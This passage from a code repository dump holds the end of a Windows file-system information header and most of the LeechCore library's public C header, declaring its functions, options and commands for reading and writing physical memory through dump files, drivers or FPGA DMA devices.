Number of bytes in each sector. \n  */\n  ULONG BytesPerSector;\n} FILE_FS_FULL_SIZE_INFORMATION, *PFILE_FS_FULL_SIZE_INFORMATION;\n\n/**\n * \\struct FILE_FS_ATTRIBUTE_INFORMATION\n * \\brief Used to query attribute information for a file system.\n *\n * The struct is requested during IRP_MJ_QUERY_VOLUME_INFORMATION query FileFsAttributeInformation\n */\ntypedef struct _FILE_FS_ATTRIBUTE_INFORMATION {\n  /**\n  * Bitmask of flags specifying attributes of the specified file system.\n  * \\see https://msdn.microsoft.com/en-us/library/windows/hardware/ff540251(v=vs.85).aspx\n  */\n  ULONG FileSystemAttributes;\n  /**\n  * Maximum file name component length, in bytes, supported by the specified file system.\n  * A file name component is that portion of a file name between backslashes.\n  */\n  LONG MaximumComponentNameLength;\n  /**\n  * Length, in bytes, of the file system name.\n  */\n  ULONG FileSystemNameLength;\n  /**\n  * File system name.\n  */\n  WCHAR FileSystemName[1];\n} FILE_FS_ATTRIBUTE_INFORMATION, *PFILE_FS_ATTRIBUTE_INFORMATION;\n\n/**\n * \\struct FILE_NETWORK_OPEN_INFORMATION\n * \\brief Used as an argument to ZwQueryInformationFile.\n *\n * The struct is requested during IRP_MJ_QUERY_VOLUME_INFORMATION query FileNetworkOpenInformation\n */\ntypedef struct _FILE_NETWORK_OPEN_INFORMATION {\n  /**\n  * Specifies the time that the file was created.\n  */\n  LARGE_INTEGER CreationTime;\n  /**\n  * Specifies the time that the file was last accessed.\n  */\n  LARGE_INTEGER LastAccessTime;\n  /**\n  * Specifies he time that the file was last written to.\n  */\n  LARGE_INTEGER LastWriteTime;\n  /**\n  * Specifies the time that the file was last changed.\n  */\n  LARGE_INTEGER ChangeTime;\n  /**\n  * Specifies the file allocation size, in bytes. Usually,\n  * this value is a multiple of the sector or cluster size of the underlying physical device.\n  */\n  LARGE_INTEGER AllocationSize;\n  /**\n  * Specifies the absolute end-of-file position as a byte offset from the start of the file.\n  * EndOfFile specifies the byte offset to the end of the file. Because this value is zero-based,\n  * it actually refers to the first free byte in the file. In other words,\n  * EndOfFile is the offset to the byte immediately following the last valid byte in the file.\n  */\n  LARGE_INTEGER EndOfFile;\n  /**\n  * Specifies one or more FILE_ATTRIBUTE_XXX flags. For descriptions of these flags,\n  * see the documentation of the GetFileAttributes function in the Microsoft Windows SDK.\n  */\n  ULONG FileAttributes;\n} FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION;\n\n/**\n * \\struct FILE_NETWORK_PHYSICAL_NAME_INFORMATION\n * \\brief Contains the full UNC physical pathname for a file or directory on a remote file share.\n *\n * The struct is requested during IRP_MJ_QUERY_VOLUME_INFORMATION query FileNetworkPhysicalNameInformation\n */\ntypedef struct _FILE_NETWORK_PHYSICAL_NAME_INFORMATION {\n  /**\n  * The length, in bytes, of the physical name in FileName.\n  */\n  ULONG FileNameLength;\n  /**\n  * The full UNC path of the network file share of the target.\n  */\n  WCHAR FileName[1];\n} FILE_NETWORK_PHYSICAL_NAME_INFORMATION,\n    *PFILE_NETWORK_PHYSICAL_NAME_INFORMATION;\n\n#define SL_RESTART_SCAN 0x01\n#define SL_RETURN_SINGLE_ENTRY 0x02\n#define SL_INDEX_SPECIFIED 0x04\n#define SL_FORCE_ACCESS_CHECK 0x01\n\n#define SL_OPEN_PAGING_FILE 0x02\n#define SL_OPEN_TARGET_DIRECTORY 0x04\n#define SL_CASE_SENSITIVE 0x80\n\n#define ALIGN_DOWN(length, type) ((ULONG)(length) & ~(sizeof(type) - 1))\n\n#define ALIGN_UP(length, type)                                                 \\\n  (ALIGN_DOWN(((ULONG)(length) + sizeof(type) - 1), type))\n\n#define ALIGN_DOWN_POINTER(address, type)                                      \\\n  ((PVOID)((ULONG_PTR)(address) & ~((ULONG_PTR)sizeof(type) - 1)))\n\n#define ALIGN_UP_POINTER(address, type)                                        \\\n  (ALIGN_DOWN_POINTER(((ULONG_PTR)(address) + sizeof(type) - 1), type))\n\n#define WordAlign(Val) (ALIGN_UP(Val, WORD))\n\n#define WordAlignPtr(Ptr) (ALIGN_UP_POINTER(Ptr, WORD))\n\n#define LongAlign(Val) (ALIGN_UP(Val, LONG))\n\n#define LongAlignPtr(Ptr) (ALIGN_UP_POINTER(Ptr, LONG))\n\n#define QuadAlign(Val) (ALIGN_UP(Val, ULONGLONG))\n\n#define QuadAlignPtr(Ptr) (ALIGN_UP_POINTER(Ptr, ULONGLONG))\n\n#define IsPtrQuadAligned(Ptr) (QuadAlignPtr(Ptr) == (PVOID)(Ptr))\n\n// from wdm.h\n#define FILE_SUPERSEDE 0x00000000\n#define FILE_OPEN 0x00000001\n#define FILE_CREATE 0x00000002\n#define FILE_OPEN_IF 0x00000003\n#define FILE_OVERWRITE 0x00000004\n#define FILE_OVERWRITE_IF 0x00000005\n#define FILE_MAXIMUM_DISPOSITION 0x00000005\n\n#define FILE_DIRECTORY_FILE 0x00000001\n#define FILE_WRITE_THROUGH 0x00000002\n#define FILE_SEQUENTIAL_ONLY 0x00000004\n#define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008\n\n#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010\n#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020\n#define FILE_NON_DIRECTORY_FILE 0x00000040\n#define FILE_CREATE_TREE_CONNECTION 0x00000080\n\n#define FILE_COMPLETE_IF_OPLOCKED 0x00000100\n#define FILE_NO_EA_KNOWLEDGE 0x00000200\n#define FILE_OPEN_REMOTE_INSTANCE 0x00000400\n#define FILE_RANDOM_ACCESS 0x00000800\n\n#define FILE_DELETE_ON_CLOSE 0x00001000\n#define FILE_OPEN_BY_FILE_ID 0x00002000\n#define FILE_OPEN_FOR_BACKUP_INTENT 0x00004000\n#define FILE_NO_COMPRESSION 0x00008000\n\n#if (_WIN32_WINNT >= _WIN32_WINNT_WIN7)\n#define FILE_OPEN_REQUIRING_OPLOCK 0x00010000\n#define FILE_DISALLOW_EXCLUSIVE 0x00020000\n#endif /* _WIN32_WINNT >= _WIN32_WINNT_WIN7 */\n#if (_WIN32_WINNT >= _WIN32_WINNT_WIN8)\n#define FILE_SESSION_AWARE 0x00040000\n#endif /* _WIN32_WINNT >= _WIN32_WINNT_WIN7 */\n\n#define FILE_RESERVE_OPFILTER 0x00100000\n#define FILE_OPEN_REPARSE_POINT 0x00200000\n#define FILE_OPEN_NO_RECALL 0x00400000\n#define FILE_OPEN_FOR_FREE_SPACE_QUERY 0x00800000\n\n#define FILE_VALID_OPTION_FLAGS 0x00ffffff\n\n#define FILE_SUPERSEDED 0x00000000\n#define FILE_OPENED 0x00000001\n#define FILE_CREATED 0x00000002\n#define FILE_OVERWRITTEN 0x00000003\n#define FILE_EXISTS 0x00000004\n#define FILE_DOES_NOT_EXIST 0x00000005\n\n#define FILE_WRITE_TO_END_OF_FILE 0xffffffff\n#define FILE_USE_FILE_POINTER_POSITION 0xfffffffe\n\n/**\n * \\struct UNICODE_STRING\n * \\brief Structure is used to define Unicode strings.\n */\ntypedef struct _UNICODE_STRING {\n  /**\n  * The length, in bytes, of the string stored in Buffer.\n  */\n  USHORT Length;\n  /**\n  * The length, in bytes, of Buffer.\n  */\n  USHORT MaximumLength;\n  /**\n  * Pointer to a buffer used to contain a string of wide characters.\n  */\n  PWSTR Buffer;\n} UNICODE_STRING, *PUNICODE_STRING;\n\n#endif // FILEINFO_H_\n"
  },
  {
    "path": "includes/leechcore.h",
    "content": "// leechcore.h : external header of the LeechCore library.\n//\n// LeechCore is a library which abstracts away reading and writing to various\n// software and hardware acquisition sources. Sources ranges from memory dump\n// files to driver backed live memory to hardware (FPGA) DMA backed memory.\n//\n// LeechCore built-in device support may be extended with external plugin\n// device drivers placed as .dll or .so files in the same folder as LeechCore.\n//\n// For more information please consult the LeechCore information on Github:\n// - README: https://github.com/ufrisk/LeechCore\n// - GUIDE:  https://github.com/ufrisk/LeechCore/wiki\n//\n// (c) Ulf Frisk, 2020-2026\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n// Header Version: 2.20.0\n//\n\n#ifndef __LEECHCORE_H__\n#define __LEECHCORE_H__\n#ifdef __cplusplus\nextern \"C\" {\n#endif /* __cplusplus */\n\n//-----------------------------------------------------------------------------\n// OS COMPATIBILITY BELOW:\n//-----------------------------------------------------------------------------\n\n#ifdef _WIN32\n\n#include <Windows.h>\n#define EXPORTED_FUNCTION                   __declspec(dllexport)\ntypedef unsigned __int64                    QWORD, *PQWORD;\n\n#endif /* _WIN32 */\n#if defined(LINUX) || defined(MACOS)\n\n#include <inttypes.h>\n#include <stdlib.h>\n#define EXPORTED_FUNCTION                   __attribute__((visibility(\"default\")))\ntypedef void                                VOID, *PVOID, *HANDLE, **PHANDLE, *HMODULE;\ntypedef long long unsigned int              QWORD, *PQWORD, ULONG64, *PULONG64;\ntypedef size_t                              SIZE_T, *PSIZE_T;\ntypedef uint64_t                            FILETIME, *PFILETIME;\ntypedef uint32_t                            DWORD, *PDWORD, *LPDWORD, BOOL, *PBOOL, NTSTATUS;\ntypedef uint16_t                            WORD, *PWORD;\ntypedef uint8_t                             BYTE, *PBYTE, *LPBYTE, UCHAR;\ntypedef char                                CHAR, *PCHAR, *LPSTR;\ntypedef const char                          *LPCSTR;\ntypedef uint16_t                            WCHAR, *PWCHAR, *LPWSTR;\ntypedef const uint16_t                      *LPCWSTR;\n#define MAX_PATH                            260\n#define _In_\n#define _In_z_\n#define _In_opt_\n#define _In_reads_(x)\n#define _In_reads_bytes_(x)\n#define _In_reads_bytes_opt_(x)\n#define _In_reads_opt_(x)\n#define _Inout_\n#define _Inout_bytecount_(x)\n#define _Inout_opt_\n#define _Inout_updates_opt_(x)\n#define _Out_\n#define _Out_opt_\n#define _Out_writes_(x)\n#define _Out_writes_bytes_opt_(x)\n#define _Out_writes_opt_(x)\n#define _Out_writes_to_(x,y)\n#define _When_(x,y)\n#define _Frees_ptr_opt_\n#define _Post_ptr_invalid_\n#define _Check_return_opt_\n#define _Printf_format_string_\n#define _Success_(x)\n\n#endif /* LINUX || MACOS */\n\n\n\n//-----------------------------------------------------------------------------\n// Create and Close LeechCore devices:\n// It's possible to create multiple LeechCore devices in parallel and also of\n// different types if the underlying device will allow this. LeechCore will\n// automatically take care of and abstract away any hardware/software issues\n// with regards to the underlying devices.\n//\n// For more information about supported devices please check out the LeechCore\n// guide at: https://github.com/ufrisk/LeechCore/wiki\n//-----------------------------------------------------------------------------\n\n#define LC_CONFIG_VERSION                       0xc0fd0002\n#define LC_CONFIG_ERRORINFO_VERSION             0xc0fe0002\n\n#define LC_CONFIG_PRINTF_ENABLED                0x01\n#define LC_CONFIG_PRINTF_V                      0x02\n#define LC_CONFIG_PRINTF_VV                     0x04\n#define LC_CONFIG_PRINTF_VVV                    0x08\n\ntypedef struct LC_CONFIG {\n    // below are set by caller\n    DWORD dwVersion;                        // must equal LC_CREATE_VERSION\n    DWORD dwPrintfVerbosity;                // printf verbosity according to LC_PRINTF_*\n    CHAR szDevice[MAX_PATH];                // device configuration - see wiki for additional info.\n    CHAR szRemote[MAX_PATH];                // remote configuration - see wiki for additional info.\n    _Check_return_opt_ int(*pfn_printf_opt)(_In_z_ _Printf_format_string_ char const *const _Format, ...);\n    // below are set by caller, updated by LeecCore\n    QWORD paMax;                            // max physical address (disables any max address auto-detect).\n    // below are set by LeechCore\n    BOOL fVolatile;\n    BOOL fWritable;\n    BOOL fRemote;\n    BOOL fRemoteDisableCompress;\n    CHAR szDeviceName[MAX_PATH];            // device name - such as 'fpga' or 'file'.\n} LC_CONFIG, *PLC_CONFIG;\n\ntypedef struct tdLC_CONFIG_ERRORINFO {\n    DWORD dwVersion;                        // must equal LC_CONFIG_ERRORINFO_VERSION\n    DWORD cbStruct;\n    DWORD _FutureUse[16];\n    BOOL fUserInputRequest;\n    DWORD cwszUserText;\n    WCHAR wszUserText[];\n} LC_CONFIG_ERRORINFO, *PLC_CONFIG_ERRORINFO, **PPLC_CONFIG_ERRORINFO;\n\n/*\n* Create a new LeechCore device according to the supplied configuration.\n* CALLER LcMemFree: ppLcCreateErrorInfo\n* -- pLcCreateConfig\n* -- ppLcCreateErrorInfo = ptr to receive function allocated struct with error\n*       information upon function failure. This info may contain a user message\n*       requesting user action as an example. Any returned struct should be\n*       free'd by a call to LcMemFree().\n* -- return\n*/\nEXPORTED_FUNCTION _Success_(return != NULL)\nHANDLE LcCreate(\n    _Inout_ PLC_CONFIG pLcCreateConfig\n);\n\nEXPORTED_FUNCTION _Success_(return != NULL)\nHANDLE LcCreateEx(\n    _Inout_ PLC_CONFIG pLcCreateConfig,\n    _Out_opt_ PPLC_CONFIG_ERRORINFO ppLcCreateErrorInfo\n);\n\n/*\n* Close a LeechCore handle and free any resources no longer needed.\n*/\nEXPORTED_FUNCTION\nVOID LcClose(\n    _In_opt_ _Post_ptr_invalid_ HANDLE hLC\n);\n\n\n\n//-----------------------------------------------------------------------------\n// Read and Write memory from underlying device either using contiguous method\n// or more recommended scatter method.\n//\n// The MEM_SCATTER struct allows reading and writing of discontiguous memory\n// chunks which must adhere to the following rules:\n// - maximum size = 0x1000 (4096) bytes = recommended size.\n// - minimum size = 2 DWORDs (8 bytes).\n// - must be DWORD (4 byte) aligned.\n// - must never cross 0x1000 page boundary.\n// - max value of iStack = MEM_SCATTER_STACK_SIZE - 2.\n//-----------------------------------------------------------------------------\n\n#define MEM_SCATTER_VERSION                 0xc0fe0002\n#define MEM_SCATTER_STACK_SIZE              12\n\ntypedef struct tdMEM_SCATTER {\n    DWORD version;                          // MEM_SCATTER_VERSION\n    BOOL f;                                 // TRUE = success data in pb, FALSE = fail or not yet read.\n    QWORD qwA;                              // address of memory to read\n    union {\n        PBYTE pb;                           // buffer to hold memory contents\n        QWORD _Filler;\n    };\n    DWORD cb;                               // size of buffer to hold memory contents.\n    DWORD iStack;                           // internal stack pointer\n    QWORD vStack[MEM_SCATTER_STACK_SIZE];   // internal stack\n} MEM_SCATTER, *PMEM_SCATTER, **PPMEM_SCATTER;\n\n#define MEM_SCATTER_ADDR_INVALID            ((QWORD)-1)\n#define MEM_SCATTER_ADDR_ISINVALID(pMEM)    (pMEM->qwA == (QWORD)-1)\n#define MEM_SCATTER_ADDR_ISVALID(pMEM)      (pMEM->qwA != (QWORD)-1)\n#define MEM_SCATTER_STACK_PUSH(pMEM, v)     (pMEM->vStack[pMEM->iStack++] = (QWORD)(v))\n#define MEM_SCATTER_STACK_PEEK(pMEM, i)     (pMEM->vStack[pMEM->iStack - i])\n#define MEM_SCATTER_STACK_SET(pMEM, i, v)   (pMEM->vStack[pMEM->iStack - i] = (QWORD)(v))\n#define MEM_SCATTER_STACK_ADD(pMEM, i, v)   (pMEM->vStack[pMEM->iStack - i] += (QWORD)(v))\n#define MEM_SCATTER_STACK_POP(pMEM)         (pMEM->vStack[--pMEM->iStack])\n\n/*\n* Free LeechCore allocated memory such as memory allocated by the\n* LcAllocScatter / LcCommand functions.\n* -- pv\n*/\nEXPORTED_FUNCTION\nVOID LcMemFree(\n    _Frees_ptr_opt_ PVOID pv\n);\n\n/*\n* Allocate and pre-initialize empty MEMs including a 0x1000 buffer for each\n* pMEM. The result should be freed by LcFree when its no longer needed.\n* The 0x1000-sized per-MEM memory buffers are contigious between MEMs in order.\n* -- cMEMs\n* -- pppMEMs = pointer to receive ppMEMs\n* -- return\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL LcAllocScatter1(\n    _In_ DWORD cMEMs,\n    _Out_ PPMEM_SCATTER *pppMEMs\n);\n\n/*\n* Allocate and pre-initialize empty MEMs excluding the 0x1000 buffer which\n* will be accounted towards the pbData buffer in a contiguous way.\n* The result should be freed by LcFree when its no longer needed.\n* -- cbData = size of pbData (must be cMEMs * 0x1000)\n* -- pbData = buffer used for MEM.pb\n* -- cMEMs\n* -- pppMEMs = pointer to receive ppMEMs\n* -- return\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL LcAllocScatter2(\n    _In_ DWORD cbData,\n    _Inout_updates_opt_(cbData) PBYTE pbData,\n    _In_ DWORD cMEMs,\n    _Out_ PPMEM_SCATTER *pppMEMs\n);\n\n/*\n* Allocate and pre-initialize empty MEMs excluding the 0x1000 buffer which\n* will be accounted towards the pbData buffer in a contiguous way.\n* -- pbDataFirstPage = optional buffer of first page\n* -- pbDataLastPage = optional buffer of last page\n* -- cbData = size of pbData\n* -- pbData = buffer used for MEM.pb except first/last if exists\n* -- cMEMs\n* -- pppMEMs = pointer to receive ppMEMs\n* -- return\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL LcAllocScatter3(\n    _Inout_updates_opt_(0x1000) PBYTE pbDataFirstPage,\n    _Inout_updates_opt_(0x1000) PBYTE pbDataLastPage,\n    _In_ DWORD cbData,\n    _Inout_updates_opt_(cbData) PBYTE pbData,\n    _In_ DWORD cMEMs,\n    _Out_ PPMEM_SCATTER *pppMEMs\n);\n\n/*\n* Read memory in a scattered non-contiguous way. This is recommended for reads.\n* -- hLC\n* -- cMEMs\n* -- ppMEMs\n*/\nEXPORTED_FUNCTION\nVOID LcReadScatter(\n    _In_ HANDLE hLC,\n    _In_ DWORD cMEMs,\n    _Inout_ PPMEM_SCATTER ppMEMs\n);\n\n/*\n* Read memory in a contiguous way. Note that if multiple memory segments are\n* to be read LcReadScatter() may be more efficient.\n* -- hLC,\n* -- pa\n* -- cb\n* -- pb\n* -- return\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL LcRead(\n    _In_ HANDLE hLC,\n    _In_ QWORD pa,\n    _In_ DWORD cb,\n    _Out_writes_(cb) PBYTE pb\n);\n\n/*\n* Write memory in a scattered non-contiguous way.\n* -- hLC\n* -- cMEMs\n* -- ppMEMs\n*/\nEXPORTED_FUNCTION\nVOID LcWriteScatter(\n    _In_ HANDLE hLC,\n    _In_ DWORD cMEMs,\n    _Inout_ PPMEM_SCATTER ppMEMs\n);\n\n/*\n* Write memory in a contiguous way.\n* -- hLC\n* -- pa\n* -- cb\n* -- pb\n* -- return\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL LcWrite(\n    _In_ HANDLE hLC,\n    _In_ QWORD pa,\n    _In_ DWORD cb,\n    _In_reads_(cb) PBYTE pb\n);\n\n\n\n//-----------------------------------------------------------------------------\n// Get/Set/Command functionality may be used to query and/or update LeechCore\n// or its devices in various ways.\n//-----------------------------------------------------------------------------\n\n/*\n* Set an option as defined by LC_OPT_*. (R option).\n* -- hLC\n* -- fOption = LC_OPT_*\n* -- cbData\n* -- pbData\n* -- pcbData\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL LcGetOption(\n    _In_ HANDLE hLC,\n    _In_ QWORD fOption,\n    _Out_ PQWORD pqwValue\n);\n\n/*\n* Get an option as defined by LC_OPT_*. (W option).\n* -- hLC\n* -- fOption = LC_OPT_*\n* -- cbData\n* -- pbData\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL LcSetOption(\n    _In_ HANDLE hLC,\n    _In_ QWORD fOption,\n    _In_ QWORD qwValue\n);\n\n/*\n* Execute a command and retrieve a result (if any) at the same time.\n* NB! If *ppbDataOut contains a memory allocation on exit this should be free'd\n*     by calling LcMemFree().\n* CALLER LcFreeMem: *ppbDataOut\n* -- hLC\n* -- fCommand = LC_CMD_*\n* -- cbDataIn\n* -- pbDataIn\n* -- ppbDataOut\n* -- pcbDataOut\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL LcCommand(\n    _In_ HANDLE hLC,\n    _In_ QWORD fCommand,\n    _In_ DWORD cbDataIn,\n    _In_reads_opt_(cbDataIn) PBYTE pbDataIn,\n    _Out_opt_ PBYTE *ppbDataOut,\n    _Out_opt_ PDWORD pcbDataOut\n);\n\n#define LC_OPT_CORE_PRINTF_ENABLE                   0x4000000100000000  // RW\n#define LC_OPT_CORE_VERBOSE                         0x4000000200000000  // RW\n#define LC_OPT_CORE_VERBOSE_EXTRA                   0x4000000300000000  // RW\n#define LC_OPT_CORE_VERBOSE_EXTRA_TLP               0x4000000400000000  // RW\n#define LC_OPT_CORE_VERSION_MAJOR                   0x4000000500000000  // R\n#define LC_OPT_CORE_VERSION_MINOR                   0x4000000600000000  // R\n#define LC_OPT_CORE_VERSION_REVISION                0x4000000700000000  // R\n#define LC_OPT_CORE_ADDR_MAX                        0x1000000800000000  // R\n#define LC_OPT_CORE_STATISTICS_CALL_COUNT           0x4000000900000000  // R [lo-dword: LC_STATISTICS_ID_*]\n#define LC_OPT_CORE_STATISTICS_CALL_TIME            0x4000000a00000000  // R [lo-dword: LC_STATISTICS_ID_*]\n#define LC_OPT_CORE_VOLATILE                        0x1000000b00000000  // R\n#define LC_OPT_CORE_READONLY                        0x1000000c00000000  // R\n\n#define LC_OPT_MEMORYINFO_VALID                     0x0200000100000000  // R\n#define LC_OPT_MEMORYINFO_FLAG_32BIT                0x0200000300000000  // R\n#define LC_OPT_MEMORYINFO_FLAG_PAE                  0x0200000400000000  // R\n#define LC_OPT_MEMORYINFO_ARCH                      0x0200001200000000  // R - LC_ARCH_TP\n#define LC_OPT_MEMORYINFO_OS_VERSION_MINOR          0x0200000500000000  // R\n#define LC_OPT_MEMORYINFO_OS_VERSION_MAJOR          0x0200000600000000  // R\n#define LC_OPT_MEMORYINFO_OS_DTB                    0x0200000700000000  // R\n#define LC_OPT_MEMORYINFO_OS_PFN                    0x0200000800000000  // R\n#define LC_OPT_MEMORYINFO_OS_PsLoadedModuleList     0x0200000900000000  // R\n#define LC_OPT_MEMORYINFO_OS_PsActiveProcessHead    0x0200000a00000000  // R\n#define LC_OPT_MEMORYINFO_OS_MACHINE_IMAGE_TP       0x0200000b00000000  // R\n#define LC_OPT_MEMORYINFO_OS_NUM_PROCESSORS         0x0200000c00000000  // R\n#define LC_OPT_MEMORYINFO_OS_SYSTEMTIME             0x0200000d00000000  // R\n#define LC_OPT_MEMORYINFO_OS_UPTIME                 0x0200000e00000000  // R\n#define LC_OPT_MEMORYINFO_OS_KERNELBASE             0x0200000f00000000  // R\n#define LC_OPT_MEMORYINFO_OS_KERNELHINT             0x0200001000000000  // R\n#define LC_OPT_MEMORYINFO_OS_KdDebuggerDataBlock    0x0200001100000000  // R\n\n#define LC_OPT_FPGA_PROBE_MAXPAGES                  0x0300000100000000  // RW\n#define LC_OPT_FPGA_MAX_SIZE_RX                     0x0300000300000000  // RW\n#define LC_OPT_FPGA_MAX_SIZE_TX                     0x0300000400000000  // RW\n#define LC_OPT_FPGA_DELAY_PROBE_READ                0x0300000500000000  // RW - uS\n#define LC_OPT_FPGA_DELAY_PROBE_WRITE               0x0300000600000000  // RW - uS\n#define LC_OPT_FPGA_DELAY_WRITE                     0x0300000700000000  // RW - uS\n#define LC_OPT_FPGA_DELAY_READ                      0x0300000800000000  // RW - uS\n#define LC_OPT_FPGA_RETRY_ON_ERROR                  0x0300000900000000  // RW\n#define LC_OPT_FPGA_DEVICE_ID                       0x0300008000000000  // RW - bus:dev:fn (ex: 04:00.0 == 0x0400).\n#define LC_OPT_FPGA_FPGA_ID                         0x0300008100000000  // R\n#define LC_OPT_FPGA_VERSION_MAJOR                   0x0300008200000000  // R\n#define LC_OPT_FPGA_VERSION_MINOR                   0x0300008300000000  // R\n#define LC_OPT_FPGA_ALGO_TINY                       0x0300008400000000  // RW - 1/0 use tiny 128-byte/tlp read algorithm.\n#define LC_OPT_FPGA_ALGO_SYNCHRONOUS                0x0300008500000000  // RW - 1/0 use synchronous (old) read algorithm.\n#define LC_OPT_FPGA_CFGSPACE_XILINX                 0x0300008600000000  // RW - [lo-dword: register address in bytes] [bytes: 0-3: data, 4-7: byte_enable(if wr/set); top bit = cfg_mgmt_wr_rw1c_as_rw]\n#define LC_OPT_FPGA_TLP_READ_CB_WITHINFO            0x0300009000000000  // RW - 1/0 call TLP read callback with additional string info in szInfo\n#define LC_OPT_FPGA_TLP_READ_CB_FILTERCPL           0x0300009100000000  // RW - 1/0 call TLP read callback with memory read completions from read calls filtered\n\n#define LC_CMD_FPGA_PCIECFGSPACE                    0x0000010300000000  // R\n#define LC_CMD_FPGA_CFGREGPCIE                      0x0000010400000000  // RW - [lo-dword: register address]\n#define LC_CMD_FPGA_CFGREGCFG                       0x0000010500000000  // RW - [lo-dword: register address]\n#define LC_CMD_FPGA_CFGREGDRP                       0x0000010600000000  // RW - [lo-dword: register address]\n#define LC_CMD_FPGA_CFGREGCFG_MARKWR                0x0000010700000000  // W  - write with mask [lo-dword: register address] [bytes: 0-1: data, 2-3: mask]\n#define LC_CMD_FPGA_CFGREGPCIE_MARKWR               0x0000010800000000  // W  - write with mask [lo-dword: register address] [bytes: 0-1: data, 2-3: mask]\n#define LC_CMD_FPGA_CFGREG_DEBUGPRINT               0x0000010a00000000  // N/A\n#define LC_CMD_FPGA_PROBE                           0x0000010b00000000  // RW\n#define LC_CMD_FPGA_CFGSPACE_SHADOW_RD              0x0000010c00000000  // R\n#define LC_CMD_FPGA_CFGSPACE_SHADOW_WR              0x0000010d00000000  // W  - [lo-dword: config space write base address]\n#define LC_CMD_FPGA_TLP_WRITE_SINGLE                0x0000011000000000  // W  - write single tlp BYTE:s\n#define LC_CMD_FPGA_TLP_WRITE_MULTIPLE              0x0000011100000000  // W  - write multiple LC_TLP:s\n#define LC_CMD_FPGA_TLP_TOSTRING                    0x0000011200000000  // RW - convert single TLP to LPSTR; *pcbDataOut includes NULL terminator.\n\n#define LC_CMD_FPGA_TLP_CONTEXT                     0x2000011400000000  // W - set/unset TLP user-defined context to be passed to callback function. (pbDataIn == LPVOID user context). [not remote].\n#define LC_CMD_FPGA_TLP_CONTEXT_RD                  0x2000011b00000000  // R - get TLP user-defined context to be passed to callback function. [not remote].\n#define LC_CMD_FPGA_TLP_FUNCTION_CALLBACK           0x2000011500000000  // W - set/unset TLP callback function (pbDataIn == PLC_TLP_CALLBACK). [not remote].\n#define LC_CMD_FPGA_TLP_FUNCTION_CALLBACK_RD        0x2000011c00000000  // R - get TLP callback function. [not remote].\n#define LC_CMD_FPGA_BAR_CONTEXT                     0x2000012000000000  // W - set/unset BAR user-defined context to be passed to callback function. (pbDataIn == LPVOID user context). [not remote].\n#define LC_CMD_FPGA_BAR_CONTEXT_RD                  0x2000012100000000  // R - get BAR user-defined context to be passed to callback function. [not remote].\n#define LC_CMD_FPGA_BAR_FUNCTION_CALLBACK           0x2000012200000000  // W - set/unset BAR callback function (pbDataIn == PLC_BAR_CALLBACK). [not remote].\n#define LC_CMD_FPGA_BAR_FUNCTION_CALLBACK_RD        0x2000012300000000  // R - get BAR callback function. [not remote].\n#define LC_CMD_FPGA_BAR_INFO                        0x0000012400000000  // R - get BAR info (pbDataOut == LC_BAR_INFO[6]).\n\n#define LC_CMD_FILE_DUMPHEADER_GET                  0x0000020100000000  // R\n\n#define LC_CMD_STATISTICS_GET                       0x4000010000000000  // R\n#define LC_CMD_MEMMAP_GET                           0x4000020000000000  // R  - MEMMAP as LPSTR\n#define LC_CMD_MEMMAP_SET                           0x4000030000000000  // W  - MEMMAP as LPSTR\n#define LC_CMD_MEMMAP_GET_STRUCT                    0x4000040000000000  // R  - MEMMAP as LC_MEMMAP_ENTRY[]\n#define LC_CMD_MEMMAP_SET_STRUCT                    0x4000050000000000  // W  - MEMMAP as LC_MEMMAP_ENTRY[]\n\n#define LC_CMD_AGENT_EXEC_PYTHON                    0x8000000100000000  // RW - [lo-dword: optional timeout in ms]\n#define LC_CMD_AGENT_EXIT_PROCESS                   0x8000000200000000  //    - [lo-dword: process exit code]\n#define LC_CMD_AGENT_VFS_LIST                       0x8000000300000000  // RW\n#define LC_CMD_AGENT_VFS_READ                       0x8000000400000000  // RW\n#define LC_CMD_AGENT_VFS_WRITE                      0x8000000500000000  // RW\n#define LC_CMD_AGENT_VFS_OPT_GET                    0x8000000600000000  // RW\n#define LC_CMD_AGENT_VFS_OPT_SET                    0x8000000700000000  // RW\n#define LC_CMD_AGENT_VFS_INITIALIZE                 0x8000000800000000  // RW\n#define LC_CMD_AGENT_VFS_CONSOLE                    0x8000000900000000  // RW\n\n#define LC_CMD_AGENT_VFS_REQ_VERSION                0xfeed0001\n#define LC_CMD_AGENT_VFS_RSP_VERSION                0xfeee0001\n\n#define LC_STATISTICS_VERSION                       0xe1a10002\n#define LC_STATISTICS_ID_OPEN                       0x00\n#define LC_STATISTICS_ID_READ                       0x01\n#define LC_STATISTICS_ID_READSCATTER                0x02\n#define LC_STATISTICS_ID_WRITE                      0x03\n#define LC_STATISTICS_ID_WRITESCATTER               0x04\n#define LC_STATISTICS_ID_GETOPTION                  0x05\n#define LC_STATISTICS_ID_SETOPTION                  0x06\n#define LC_STATISTICS_ID_COMMAND                    0x07\n#define LC_STATISTICS_ID_MAX                        0x07\n\ntypedef struct tdLC_CMD_AGENT_VFS_REQ {\n    DWORD dwVersion;\n    DWORD _FutureUse;\n    CHAR uszPathFile[2*MAX_PATH];   // file path to list/read/write\n    union {\n        QWORD qwOffset;             // offset to read/write\n        QWORD fOption;              // option to get/set (qword data in *pb)\n    };\n    DWORD dwLength;                 // length to read\n    DWORD cb;\n    BYTE pb[0];\n} LC_CMD_AGENT_VFS_REQ, *PLC_CMD_AGENT_VFS_REQ;\n\ntypedef struct tdLC_CMD_AGENT_VFS_RSP {\n    DWORD dwVersion;\n    DWORD dwStatus;                 // ntstatus of read/write\n    DWORD cbReadWrite;              // number of bytes read/written\n    DWORD _FutureUse[2];\n    DWORD cb;\n    BYTE pb[0];\n} LC_CMD_AGENT_VFS_RSP, *PLC_CMD_AGENT_VFS_RSP;\n\nstatic LPCSTR LC_STATISTICS_NAME[] = {\n    \"LcOpen\",\n    \"LcRead\",\n    \"LcReadScatter\",\n    \"LcWrite\",\n    \"LcWriteScatter\",\n    